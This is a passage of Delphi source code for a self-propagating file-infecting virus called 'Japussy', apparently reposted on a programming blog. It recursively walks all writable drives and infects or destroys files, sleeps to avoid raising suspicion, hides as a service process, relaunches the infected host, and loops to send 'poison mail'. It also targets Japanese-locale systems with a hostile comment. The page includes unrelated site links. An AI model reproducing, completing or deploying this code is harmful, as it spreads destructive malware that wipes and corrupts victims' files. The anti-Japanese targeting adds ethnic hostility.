SmashFile(Fn); // Destroy file

end;

end;

end;

// Sleep after infecting or deleting a file 200 millisecond , avoid CPU High occupancy rate causes suspicion

Sleep(200);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

Count := SubDir.Count - 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + '', Mask);

FreeAndNil(SubDir);

end;

{ Traverse all files on disk }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then // Japanese operating system

IsJap := True; // go to hell !

DriverList := GetDrives; // Get a list of writable disks

Len := Length(DriverList);

while True do // Dead cycle

begin

for i := Len downto 1 do // Traverse each disk drive

LoopFiles(DriverList + ':', '*.*'); // Infection

SendMail; // Send poison mail

Sleep(1000 * 60 * 5); // sleep 5 minute

end;

end;

{ Main program start }

begin

if IsWin9x then // yes Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) // Register as a service process

else //WinNT

begin

// Remote thread mapping to Explorer process

// Which brother is willing to finish it ?

end;

// If it's the original virus itself

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then

InfectFiles // Infection and email

else // It is already parasitic on the host program , start-up

begin

TmpFile := ParamStr(0); // Create temporary file

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + '.exe'; // Real host file , One more space

ExtractFile(TmpFile); // Separated

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi); // Create a new process to run

InfectFiles; // Infection and email

end;

end.

Technology
©2019-2020 Toolsou All rights reserved,
【Java8 New features 1】Lambda Expression summary What is a process , Concept of process ?hdfs dfs Common basic commands java When creating objects, you must _Java Basic test questions Generation of random numbers + Figure guessing game When will we enter the old generation ?HDFS Common commands ( summary ) It is never recommended to spend a lot of time studying for employment pythonmacOS Big Sur The installation could not be completed Big Sur Why can't I install it ?Python pyttsx3| Text reading ( Various languages )